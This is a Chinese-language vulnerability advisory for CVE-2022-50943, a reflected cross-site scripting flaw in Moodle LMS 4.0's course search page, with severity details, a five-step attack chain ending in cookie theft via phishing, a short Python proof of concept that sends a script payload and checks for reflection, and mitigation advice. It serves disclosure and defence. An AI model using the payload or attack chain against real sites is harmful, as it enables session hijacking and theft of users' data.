IPBUF安全漏洞报告
English
CVE-2022-50943 CVSS 6.1 中危

CVE-2022-50943 Moodle LMS 跨站脚本漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2022-50943
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Moodle LMS

相关标签

XSSMoodleWeb SecurityCross-site ScriptingCWE-79

漏洞概述

Moodle LMS 4.0 版本中存在一个跨站脚本(XSS)安全漏洞。该漏洞源于系统在处理搜索参数时缺乏适当的输入验证和输出编码机制。未经身份验证的远程攻击者可以利用此漏洞,通过在 `course/search.php` 的搜索字段中提交恶意载荷来注入任意脚本。当受害者访问被篡改的链接时,恶意脚本将在其浏览器上下文中执行,从而导致会话劫持、敏感信息窃取或其他客户端攻击。

技术细节

该漏洞属于反射型跨站脚本(Reflected XSS)。Moodle LMS 4.0 在 `course/search.php` 处理搜索请求时,未对用户提交的 `search` 参数进行充分的输入验证和输出编码。攻击者可以精心构造包含恶意 HTML/JavaScript 代码的 URL。由于漏洞利用无需认证(PR:N)且需要用户交互(UI:R),攻击者通常通过钓鱼邮件等方式诱导受害者点击该链接。当受害者访问时,服务器将恶意参数原样反射回页面,导致浏览器执行脚本。攻击者借此可窃取 Session ID、Cookie 等敏感信息,甚至执行恶意操作。鉴于 CVSS 作用域为 S:C,该漏洞可能对同源下的其他应用产生影响。

攻击链分析

STEP 1
侦查
攻击者识别目标系统为 Moodle LMS 4.0 版本,并确认其存在 `course/search.php` 接口。
STEP 2
载荷构造
攻击者构造包含恶意 JavaScript 代码的 URL 参数,旨在绕过基本的过滤并在受害者浏览器中执行。
STEP 3
载荷投递
攻击者通过社会工程学手段(如钓鱼邮件)诱导受害者点击构造好的恶意链接。
STEP 4
漏洞利用
受害者访问链接,Moodle 服务器接收请求并将未过滤的参数反射回 HTML 响应中。
STEP 5
执行与后果
受害者的浏览器解析响应并执行恶意脚本,导致 Cookie 窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2022-50943 # This script demonstrates the reflected XSS in Moodle LMS 4.0 via the search parameter. import requests def check_xss(target_url): # Vulnerable endpoint endpoint = "/course/search.php" # Malicious payload to test script execution # In a real scenario, this could be a cookie stealer xss_payload = "<script>alert('CVE-2022-50943_XSS');</script>" # Construct the full URL with parameters params = { "search": xss_payload } try: print(f"[*] Sending request to {target_url}{endpoint}...") response = requests.get(target_url + endpoint, params=params) # Check if the payload is reflected in the response without encoding if xss_payload in response.text: print("[+] Vulnerability confirmed! Payload is reflected unescaped.") print(f"[+] URL: {response.url}") else: print("[-] Payload not found or mitigated.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with the actual target Moodle URL target = "http://localhost/moodle" check_xss(target)

影响范围

Moodle LMS 4.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员在服务器端实施输入过滤规则,转义特殊字符(如 <, >, ', ", &)。同时,应加强对用户的安全教育,警惕不明来源的链接,并建议用户在浏览器中禁用不必要的 JavaScript 执行或使用 NoScript 等插件进行防护。

参考链接